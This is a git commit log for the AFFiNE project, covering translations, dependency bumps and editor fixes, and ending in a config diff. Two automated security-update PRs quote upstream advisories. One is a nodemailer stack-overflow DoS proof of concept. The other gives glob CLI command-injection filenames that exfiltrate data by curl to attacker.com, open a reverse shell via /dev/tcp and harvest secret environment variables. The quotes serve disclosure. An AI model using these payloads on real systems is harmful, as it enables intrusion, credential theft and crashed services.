* Added Polish language support to the application, including localized
language name, native language name, and flag emoji.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-10 12:12:47 +00:00
DarkSky
cb0ff04efa feat: bump more deps (#14079) 2025-12-10 16:02:28 +08:00
DarkSky
40f3337d45 feat: bump deps (#14076)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Updated core dependencies, developer tooling and Rust toolchain to
newer stable versions across the repo
* Upgraded Storybook to v10 and improved ESM path resolution for
storybook tooling
* Broadened native binding platform/architecture support and
strengthened native module version validation, loading and WASI handling

* **New Features**
* Exposed an additional native text export for consumers (enhanced
JS/native surface)

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-10 03:52:14 +08:00
DarkSky
215541d331 feat: improve indexing perf with native indexer (#14066)
fix #12132, #14006, #13496, #12375, #12132 

The previous idb indexer generated a large number of scattered writes
when flushing to disk, which caused CPU and disk write spikes. If the
document volume is extremely large, the accumulation of write
transactions will cause memory usage to continuously increase.

This PR introduces batch writes to mitigate write performance on the web
side, and adds a native indexer on the Electron side to greatly improve
performance.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Full-text search (FTS) added across storage layers and native plugins:
indexing, search, document retrieval, match ranges, and index flushing.
* New SQLite-backed indexer storage, streaming search/aggregate APIs,
and in-memory index with node-building and highlighting.

* **Performance**
* Indexing rewritten for batched, concurrent writes and parallel
metadata updates.
* Search scoring enhanced to consider multiple term positions and
aggregated term data.

* **Other**
  * Configurable refresh interval and indexer version bump.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-09 22:04:50 +08:00
Carson Yang
90d0ca847a docs(README): Update README with new Sealos features (#14067)
Updated the README to reflect changes in Sealos description, features,
and deployment links.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Documentation**
* Added Sealos-related badges and links to the Self-Host section in the
README.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-09 14:37:00 +08:00
DarkSky
255b4571c0 chore: bump x86 mac ci 2025-12-09 11:29:44 +08:00
DarkSky
2efb41fc1a chore: change releaser 2025-12-09 10:39:31 +08:00
DarkSky
027f741ed6 chore: bump deps (#14065)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Updated dependency versions across the monorepo (notably zod →
^3.25.76 and vitest-related packages → ^3.2.4), plus minor package bumps
to align tooling and libraries. These are manifest/test-tooling updates
only; no public API, behavior, or end-user features were changed.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-08 21:47:25 +08:00
DarkSky
bc115baf35 chore: update docs 2025-12-08 11:39:22 +08:00
DarkSky
776ca2c702 chore: bump version 2025-12-08 10:47:37 +08:00
renovate[bot]
903e0c4d71 chore: bump up nodemailer version to v7.0.11 [SECURITY] (#14062)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [nodemailer](https://nodemailer.com/)
([source](https://redirect.github.com/nodemailer/nodemailer)) | [`7.0.9`
-> `7.0.11`](https://renovatebot.com/diffs/npm/nodemailer/7.0.9/7.0.11)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/nodemailer/7.0.11?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nodemailer/7.0.9/7.0.11?slim=true)
|

### GitHub Vulnerability Alerts

####
[GHSA-rcmh-qjqh-p98v](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v)

### Summary
A DoS can occur that immediately halts the system due to the use of an
unsafe function.

### Details
According to **RFC 5322**, nested group structures (a group inside
another group) are not allowed. Therefore, in
lib/addressparser/index.js, the email address parser performs flattening
when nested groups appear, since such input is likely to be abnormal.
(If the address is valid, it is added as-is.) In other words, the parser
flattens all nested groups and inserts them into the final group list.
However, the code implemented for this flattening process can be
exploited by malicious input and triggers DoS

RFC 5322 uses a colon (:) to define a group, and commas (,) are used to
separate members within a group.
At the following location in lib/addressparser/index.js:


https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90

there is code that performs this flattening. The issue occurs when the
email address parser attempts to process the following kind of malicious
address header:

```g0: g1: g2: g3: ... gN: victim@example.com;```

Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern
`addressparser → _handleAddress → addressparser → ...`
for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.

The problematic code section is as follows:
```js
if (isGroup) {
    ...
    if (data.group.length) {
let parsedGroup = addressparser(data.group.join(',')); // <- boom!
        parsedGroup.forEach(member => {
            if (member.group) {
                groupMembers = groupMembers.concat(member.group);
            } else {
                groupMembers.push(member);
            }
        });
    }
}
```
`data.group` is expected to contain members separated by commas, but in the attacker’s payload the group contains colon `(:)` tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.

### PoC

```
const nodemailer = require('nodemailer');

function buildDeepGroup(depth) {
  let parts = [];
  for (let i = 0; i < depth; i++) {
    parts.push(`g${i}:`);
  }
  return parts.join(' ') + ' user@example.com;';
}

const DEPTH = 3000; // <- control depth 
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);

const transporter = nodemailer.createTransport({
  streamTransport: true,
  buffer: true,
  newline: 'unix'
});

console.log('parsing start');

transporter.sendMail(
  {
    from: 'test@example.com',
    to: toHeader,
    subject: 'test',
    text: 'test'
  },
  (err, info) => {
    if (err) {
      console.error('error:', err);
    } else {
      console.log('finished :', info && info.envelope);
    }
  }
);
```
As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.

### Impact
The attacker can achieve the following:

1. Force an immediate crash of any server/service that uses Nodemailer
2. Kill the backend process with a single web request
3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”

---

### Release Notes

<details>
<summary>nodemailer/nodemailer (nodemailer)</summary>

### [`v7.0.11`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#7011-2025-11-26)

[Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.10...v7.0.11)

##### Bug Fixes

- prevent stack overflow DoS in addressparser with deeply nested groups ([b61b9c0](b61b9c0cfd))

### [`v7.0.10`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#7010-2025-10-23)

[Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.9...v7.0.10)

##### Bug Fixes

- Increase data URI size limit from 100KB to 50MB and preserve content type ([28dbf3f](28dbf3fe12))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi4zMi4yIiwidXBkYXRlZEluVmVyIjoiNDIuMzIuMiIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-12-08 10:45:06 +08:00
DarkSky
f29e47e9d2 feat: improve oauth (#14061)
fix #13730
fix #12901
fix #14025
2025-12-08 10:44:41 +08:00
Daniel Dybing
6e6b85098e fix(core): handle image-blob reduce errors more gracefully (#14056)
This PR is related to issue
https://github.com/toeverything/AFFiNE/issues/14018

When uploading a new profile photo avatar the Pica function, which is
responsible for reducing and resizing the profile photo, may crash if
the browser's Fingerprint Protection is enabled. This is because
Fingerprint Protection prevents Pica from modifying the canvas.

This fix introduces a try-catch inside the function that calls the
reduction and resizing of the photo. Also, the Error object is no longer
passed directly to the notification service, which also caused issues
previously. Now a message will appear that tells the user that the
upload failed and to check the browser's fingerprint protection (check
photo below).

Affected files: packages/frontend/core/src/utils/reduce-image.ts

<img width="408" height="136" alt="new_error"
src="https://github.com/user-attachments/assets/d140e17c-8c13-4f4b-bdf7-7dd5ddc5c917"
/>

I'm open to any suggestions in terms of wording of the error messages. 

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Improved error handling for image compression with clearer,
user-facing messages when compression is blocked or fails.
* Ensures the original or reduced image is reliably returned as a
fallback if compression is not performed.
* Preserves file metadata (original lastModified, name, type) when
returning processed files.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <darksky2048@gmail.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-12-07 21:59:07 +08:00
DarkSky
cf14accd2b fix: unstable test 2025-12-07 20:22:43 +08:00
DarkSky
cf4e37c584 feat(native): native reader for indexer (#14055) 2025-12-07 16:22:11 +08:00
DarkSky
69cdeedc4e fix: lint 2025-12-06 17:55:14 +08:00
Zegnos
0495fac6f1 feat(i18n): update FR translate & corrections (#14052)
Added a complete French translation for several user interface elements.

Updated existing translation strings to improve consistency and clarity.

Corrected inaccurate or unclear wording in the language files.

Harmonized terminology to maintain a uniform vocabulary across the
interface.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Localization**
  * Corrected Spanish branding text for AFFiNE consistency.
* Expanded French locale with many new keys (AI features, calendar,
import/doc labels, shortcuts).
* Trimmed trailing spaces and fixed grammar, punctuation, diacritics
across French strings.
* Added French "Copied to clipboard" confirmation and other refined UI
labels.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-06 17:53:10 +08:00
DarkSky
5cac8971eb fix: apple sign (#14053) 2025-12-06 15:36:50 +08:00
Whitewater
1196101226 fix(editor): use onBlur for input handling in property menu (#14049)
Eliminate mobile-specific input handling from the property menu to
streamline functionality across devices.


Before


https://github.com/user-attachments/assets/563857c9-6d2f-4c38-9359-7e3e74dfb531


After


https://github.com/user-attachments/assets/0126b966-cdc2-40b7-b416-3a0e8be4aedf


Maybe related to
https://github.com/toeverything/blocksuite/pull/7524/files#diff-25406bbadb23338f3120c8d0c5e1e8485173750a57f1ba3d7a51be1c9f548696
https://github.com/toeverything/blocksuite/pull/8787/files#diff-36fb3de4c5129393febe0286eb10e9ebb791296500dc4229c9d609b9ed5e138c

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved input field responsiveness by enhancing event handling for
blur interactions.
  
* **Improvements**
* Unified input component behavior across all platforms for more
consistent user experience.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-05 14:37:15 +08:00
congzhou09
bcc892c8ec fix(editor): one-time size mismatch during surface-block resize after zoom change in edgeless mode (#14019)
### Problem

There's a one-time content-size mismatch during surface-block resize
after a zoom change in edgeless mode, as shown in the image and video
below.

<img width="885" height="359" alt="图片"
src="https://github.com/user-attachments/assets/97a85924-1ca1-4b48-b334-6f19c7c41f49"
/>



https://github.com/user-attachments/assets/1c0e854c-b12e-4edc-9266-6358e0cf9d5a


### Reason and resolve

`Viewport` maintains a `_cachedBoundingClientRect` that stores the
synced-doc-block’s bounding box size. This cache is cleared by a
ResizeObserver on resizing.

In `EmbedSyncedDocBlockComponent`, `fitToContent()` depends on this
cache, and is triggered by another ResizeObserver registered in
`_initEdgelessFitEffect()`.

Since `_initEdgelessFitEffect()` is invoked before the `Viewport`’s
ResizeObserver is registered — dut to `_renderSyncedView()` not being
called for the first-time in `renderBlock()` — `fitToContent()` reads a
stale cached value at the beginning of the resize, resulting in the
one-time content-size mismatch.

This PR ensures that `_initEdgelessFitEffect()` is called after the
registration of the ResizeObserver in `Viewport`.

### After



https://github.com/user-attachments/assets/e95815e2-0575-4108-a366-ea5c00efe482



<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved initialization sequence for embedded synced documents to
ensure proper rendering and resize handling, preventing potential issues
with stale data during component setup.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-11-27 23:29:19 +08:00
Daniel Dybing
88a2e4aa4b fix: improved error description of proxy size limits (#14016)
**Summary:**
This PR improves the user feedback when encountering an HTTP 413
(_CONTENT_TOO_LARGE)_ error caused by a file size limit in the proxy /
ingress controller in a self-hosted environment.

**Example scenario:**
A self-hosted environment serves AFFiNE through an nginx proxy, and the
`client_max_body_size` variable in the configuration file is set to a
smaller size (e.g. 1MB) than AFFiNE's own file size limit (typically
100MB). Previously, the user would get an error saying the file is
larger than 100MB regardless of file size, as all of these cases
resulted in the same internal error. With this fix, the
_CONTENT_TOO_LARGE_ error is now handled separately and gives better
feedback to the user that the failing upload is caused by a fault in the
proxy configuration.

**Screenshot of new error message**

<img width="798" height="171" alt="1MB_now"
src="https://github.com/user-attachments/assets/07b00cd3-ce37-4049-8674-2f3dcb916ab5"
/>


**Affected files:**
  1. packages/common/nbstore/src/storage/errors/over-size.ts
  2. packages/common/nbstore/src/impls/cloud/blob.ts


I'm open to any suggestions in terms of the wording used in the message
to the user. The fix has been tested with an nginx proxy.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved user-facing error messages for file upload failures. When an
upload exceeds the file size limit, users now receive a clearer message
indicating that the upload was stopped by the network proxy due to the
size restriction, providing better understanding of why the upload was
rejected.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-11-27 12:06:07 +08:00
congzhou09
0bedaaadba fix(editor): surface-block canvas size not fitting its container in edgeless mode when zoom is not 1 (#14015)
### Problem
●In edgeless mode, the embed-edgeless-doc's content does not match the
size of its outer block when zoom ≠ 1.
●The follwing image and video show the issue at zoom = 0.5.

<img width="610" height="193" alt="图片"
src="https://github.com/user-attachments/assets/c50849c6-d55b-4175-9b70-218f69ab976a"
/>


https://github.com/user-attachments/assets/ea7e7cc4-64ae-4747-8124-16c4eea6458e

### Reason and resolve
●The issue occurs because the surface-block canvas uses the container’s
dimensions obtained from getBoundingClientRect(), which are already
affected by the CSS transform. The canvas is then transformed again
together with the container, causing the size mismatch.
●To keep all drawing operations in the surface-block’s original
coordinate space, we apply a reverse transform to the canvas.

### After


https://github.com/user-attachments/assets/6c802b81-d520-44a0-9f01-78d0d60d37b8



<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Canvas rendering now properly responds to viewport zoom levels. Visual
scaling is applied dynamically to ensure canvases align correctly with
viewport scaling, providing consistent and accurate rendering during
zoomed interactions while preserving original canvas dimensions.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-11-27 02:31:18 +00:00
Daniel Dybing
1d9fe3b8d9 fix(core): pressing ENTER on database title now switches focus instead of creating new record (#13975)
Initial bug report: Issue
https://github.com/toeverything/AFFiNE/issues/13966

Description of bug: When a database header/title is in focus and the
user presses ENTER, a new record is created and shown to the user.

Expected outcome: When the user presses enter in the header title field,
the new title should be applied and then the title field should loose
focus.

Short summary of fix: When the ENTER key is pressed within the title,
the `onPressEnterKey()` function is called. As of now, this calls the
function `this.dataViewLogic.addRow?.('start');` which creates a new
record. In this fix, this has been changed to `this.input.blur()` which
instead essentially switches focus away from the title field and does
not create a new record, as expected.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Modified Enter key behavior in the database title field. Pressing
Enter now blurs the input instead of automatically inserting a new row.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-11-21 12:41:39 +00:00
DarkSky
33a014977a chore: ignore empty key 2025-11-19 13:46:11 +08:00
Altamir Benkenstein
221c493c56 feat(server): add Brazilian Portuguese translation support (#13725)
* Added 'Brazilian Portuguese' to the list of supported translation
languages in both backend and frontend.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Added Brazilian Portuguese as a supported translation language across
the app.
* Brazilian Portuguese now appears in language selection for translation
actions.
* AI translation prompts now include Brazilian Portuguese as a valid
target option.
  * No other translation behaviors or controls were modified.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-11-18 15:09:48 +08:00
ents1008
6c36fc5941 fix(editor): switch to PanTool on same frame for middle mouse; restore selection snapshot (#13911)
Bug: In Edgeless mode, pressing and dragging the middle mouse button
over any element incorrectly triggers DefaultTool in the same frame,
causing unintended selection/drag instead of panning. Dragging on empty
area works because no element intercepts left-click logic.

Reproduction:
- Open an Edgeless canvas
- Press and hold middle mouse button over a shape/text/any element and
drag
- Expected: pan the canvas
- Actual: the element gets selected or moved; no panning occurs

Root cause:
1. PanTool switched via requestAnimationFrame; the current frame’s
pointerDown/pointerMove were handled by DefaultTool first (handing
middle mouse to left-click logic).
2. Selection restore used a live reference to
`this.gfx.selection.surfaceSelections`, which could be mutated by other
selection logic during the temporary pan, leading to incorrect
restoration.

Fix:
- Switch to PanTool immediately on the same frame when middle mouse is
pressed; add a guard to avoid switching if PanTool is already active.
- Snapshot `surfaceSelections` using `slice()` before the temporary
switch; restore it on `pointerup` so external mutations won’t affect
restoration.
- Only register the temporary `pointerup` listener when actually
switching; on release, restore the previous tool (including
`frameNavigator` with `restoredAfterPan: true`) and selection.
Additionally, disable black background when exiting from frameNavigator.

Affected files:
- blocksuite/affine/gfx/pointer/src/tools/pan-tool.ts

Tests:
-
packages/frontend/core/src/blocksuite/__tests__/pan-tool-middle-mouse.spec.ts
- Verifies immediate PanTool switch, selection snapshot restoration,
frameNavigator recovery flag, and no-op when PanTool is already active.

Notes:
- Aligned with docs/contributing/tutorial.md. Local validation
performed. Thanks for reviewing!

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
  * Prevented accidental re-activation of the middle-click pan tool.
* Preserved and restored the user's selection and previous tool options
after panning, including correct handling when returning to the frame
navigator.
* Ensured immediate tool switch to pan and reliable cleanup on
middle-button release.

* **Tests**
* Added tests covering middle-click pan behavior, restoration flows, and
no-op when pan is already active.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-11-18 14:26:27 +08:00
DarkSky
477e6f4106 fix: lint 2025-11-18 14:14:41 +08:00
renovate[bot]
b7ebe3d0d6 chore: bump up glob version to v11.1.0 [SECURITY] (#13976)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [glob](https://redirect.github.com/isaacs/node-glob) | [`11.0.2` ->
`11.1.0`](https://renovatebot.com/diffs/npm/glob/11.0.2/11.1.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/glob/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/glob/11.0.2/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-64756](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2)

### Summary

The glob CLI contains a command injection vulnerability in its
`-c/--cmd` option that allows arbitrary command execution when
processing files with malicious names. When `glob -c <command>
<patterns>` is used, matched filenames are passed to a shell with
`shell: true`, enabling shell metacharacters in filenames to trigger
command injection and achieve arbitrary code execution under the user or
CI account privileges.

### Details

**Root Cause:**
The vulnerability exists in `src/bin.mts:277` where the CLI collects
glob matches and executes the supplied command using `foregroundChild()`
with `shell: true`:

```javascript
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
```

**Technical Flow:**
1. User runs `glob -c <command> <pattern>` 
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using `shell:
true`
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands

**Affected Component:**
- **CLI Only:** The vulnerability affects only the command-line
interface
- **Library Safe:** The core glob library API (`glob()`, `globSync()`,
streams/iterators) is not affected
- **Shell Dependency:** Exploitation requires shell metacharacter
support (primarily POSIX systems)

**Attack Surface:**
- Files with names containing shell metacharacters: `$()`, backticks,
`;`, `&`, `|`, etc.
- Any directory where attackers can control filenames (PR branches,
archives, user uploads)
- CI/CD pipelines using `glob -c` on untrusted content

### PoC

**Setup Malicious File:**
```bash
mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'
```

**Trigger Vulnerability:**
```bash

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
```

**Result:**
- The echo command executes normally
- **Additionally:** The `$(touch injected_poc)` in the filename is
evaluated by the shell
- A new file `injected_poc` is created, proving command execution
- Any command can be injected this way with full user privileges

**Advanced Payload Examples:**

**Data Exfiltration:**
```bash

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
```

**Reverse Shell:**
```bash

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
```

**Environment Variable Harvesting:**
```bash

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
```

### Impact

**Arbitrary Command Execution:**
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network

**Real-World Attack Scenarios:**

**1. CI/CD Pipeline Compromise:**
- Malicious PR adds files with crafted names to repository
- CI pipeline uses `glob -c` to process files (linting, testing,
deployment)
- Commands execute in CI environment with build secrets and deployment
credentials
- Potential for supply chain compromise through artifact tampering

**2. Developer Workstation Attack:**
- Developer clones repository or extracts archive containing malicious
filenames
- Local build scripts use `glob -c` for file processing
- Developer machine compromise with access to SSH keys, tokens, local
services

**3. Automated Processing Systems:**
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement

**4. Supply Chain Poisoning:**
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems

**Platform-Specific Risks:**
- **POSIX/Linux/macOS:** High risk due to flexible filename characters
and shell parsing
- **Windows:** Lower risk due to filename restrictions, but
vulnerability persists with PowerShell, Git Bash, WSL
- **Mixed Environments:** CI systems often use Linux containers
regardless of developer platform

### Affected Products

- **Ecosystem:** npm
- **Package name:** glob
- **Component:** CLI only (`src/bin.mts`)
- **Affected versions:** v10.3.7 through v11.0.3 (and likely later
versions until patched)
- **Introduced:** v10.3.7 (first release with CLI containing `-c/--cmd`
option)
- **Patched versions:** 11.1.0

**Scope Limitation:**
- **Library API Not Affected:** Core glob functions (`glob()`,
`globSync()`, async iterators) are safe
- **CLI-Specific:** Only the command-line interface with `-c/--cmd`
option is vulnerable

### Remediation

- Upgrade to `glob@11.1.0` or higher, as soon as possible.
- If any `glob` CLI actions fail, then convert commands containing
positional arguments, to use the `--cmd-arg`/`-g` option instead.
- As a last resort, use `--shell` to maintain `shell:true` behavior
until glob v12, but ensure that no untrusted contents can possibly be
encountered in the file path results.

---

### Release Notes

<details>
<summary>isaacs/node-glob (glob)</summary>

###
[`v11.1.0`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0)

###
[`v11.0.3`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xNzMuMSIsInVwZGF0ZWRJblZlciI6IjQxLjE3My4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-11-18 13:43:14 +08:00
Adit Syed Afnan
20ba8875c1 feat(core): pixelated to image component to improve clarity for low-resolution images (#13968)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Style**
* Updated rendering quality for images displayed in chat content,
applying a pixelated effect to both row and column layouts.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-11-18 13:42:48 +08:00
DarkSky
8544e58c01 fix: transaction timeout 2025-11-18 13:41:25 +08:00
DarkSky
36a08190e0 fix: prettier 2025-11-17 22:04:21 +08:00
DarkSky
b229c96ee5 fix: lint 2025-11-17 21:57:34 +08:00
DarkSky
62fe6982fb chore: cleanup logs 2025-11-16 11:13:56 +08:00
721 changed files with 38247 additions and 11625 deletions

View File

@@ -6,7 +6,6 @@ yarn install
# Build Server Dependencies
yarn affine @affine/server-native build
yarn affine @affine/reader build
# Create database
yarn affine @affine/server prisma migrate reset -f

View File

@@ -397,7 +397,7 @@
},
"urlPrefix": {
"type": "string",
"description": "The presigned url prefix for the cloudflare r2 storage provider.\nsee https://developers.cloudflare.com/waf/custom-rules/use-cases/configure-token-authentication/ to configure it.\nExample value: \"https://storage.example.com\"\nExample rule: is_timed_hmac_valid_v0(\"your_secret\", http.request.uri, 10800, http.request.timestamp.sec, 6)"
"description": "The custom domain URL prefix for the cloudflare r2 storage provider.\nWhen `enabled=true` and `urlPrefix` + `signKey` are provided, the server will:\n- Redirect GET requests to this custom domain with an HMAC token.\n- Return upload URLs under `/api/storage/*` for uploads.\nPresigned/upload proxy TTL is 1 hour.\nsee https://developers.cloudflare.com/waf/custom-rules/use-cases/configure-token-authentication/ to configure it.\nExample value: \"https://storage.example.com\"\nExample rule: is_timed_hmac_valid_v0(\"your_secret\", http.request.uri, 10800, http.request.timestamp.sec, 6)"
},
"signKey": {
"type": "string",
@@ -518,7 +518,7 @@
},
"urlPrefix": {
"type": "string",
"description": "The presigned url prefix for the cloudflare r2 storage provider.\nsee https://developers.cloudflare.com/waf/custom-rules/use-cases/configure-token-authentication/ to configure it.\nExample value: \"https://storage.example.com\"\nExample rule: is_timed_hmac_valid_v0(\"your_secret\", http.request.uri, 10800, http.request.timestamp.sec, 6)"
"description": "The custom domain URL prefix for the cloudflare r2 storage provider.\nWhen `enabled=true` and `urlPrefix` + `signKey` are provided, the server will:\n- Redirect GET requests to this custom domain with an HMAC token.\n- Return upload URLs under `/api/storage/*` for uploads.\nPresigned/upload proxy TTL is 1 hour.\nsee https://developers.cloudflare.com/waf/custom-rules/use-cases/configure-token-authentication/ to configure it.\nExample value: \"https://storage.example.com\"\nExample rule: is_timed_hmac_valid_v0(\"your_secret\", http.request.uri, 10800, http.request.timestamp.sec, 6)"
},
"signKey": {
"type": "string",
@@ -611,11 +611,6 @@
"type": "object",
"description": "Configuration for flags module",
"properties": {
"earlyAccessControl": {
"type": "boolean",
"description": "Only allow users with early access features to access the app\n@default false",
"default": false
},
"allowGuestDemoWorkspace": {
"type": "boolean",
"description": "Whether allow guest users to create demo workspaces.\n@default true",
@@ -928,7 +923,7 @@
},
"urlPrefix": {
"type": "string",
"description": "The presigned url prefix for the cloudflare r2 storage provider.\nsee https://developers.cloudflare.com/waf/custom-rules/use-cases/configure-token-authentication/ to configure it.\nExample value: \"https://storage.example.com\"\nExample rule: is_timed_hmac_valid_v0(\"your_secret\", http.request.uri, 10800, http.request.timestamp.sec, 6)"
